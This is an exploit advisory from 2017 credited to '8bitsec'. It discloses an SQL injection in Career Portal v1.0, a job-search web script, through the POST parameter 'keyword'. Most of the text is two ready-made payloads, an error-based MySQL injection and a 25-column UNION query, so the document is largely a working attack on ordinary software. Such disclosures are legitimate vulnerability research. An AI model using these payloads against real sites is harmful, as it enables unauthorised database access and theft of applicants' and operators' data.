Career Portal 1.0 SQL Injection

`# Exploit Title: Career Portal v1.0 - SQL Injection  
# Date: 2017-10-17  
# Exploit Author: 8bitsec  
# Vendor Homepage: https://codecanyon.net/item/career-portal-online-job-search-script/20767278  
# Software Link: https://codecanyon.net/item/career-portal-online-job-search-script/20767278  
# Version: 1.0  
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]  
# Email: [email protected]  
# Contact: https://twitter.com/_8bitsec  
  
Release Date:  
=============  
2017-10-17  
  
Product & Service Introduction:  
===============================  
Career Portal is developed for creating an interactive job vacancy for candidates.  
  
Technical Details & Description:  
================================  
  
SQL injection on [keyword] parameter.  
  
Proof of Concept (PoC):  
=======================  
  
SQLi:  
  
https://localhost/[path]/job  
  
Parameter: keyword (POST)  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
Payload: keyword=s_term') AND (SELECT 8133 FROM(SELECT COUNT(*),CONCAT(0x716b6a7171,(SELECT (ELT(8133=8133,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('kRoT'='kRoT&location_name[]=  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 25 columns  
Payload: keyword=s_term') UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b6a7171,0x594547646454726868515056467764674e59726f4252436844774f41704a507353574e4b6d5a5973,0x71787a7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- zANd&location_name[]=  
  
==================  
8bitsec - [https://twitter.com/_8bitsec]  
  
`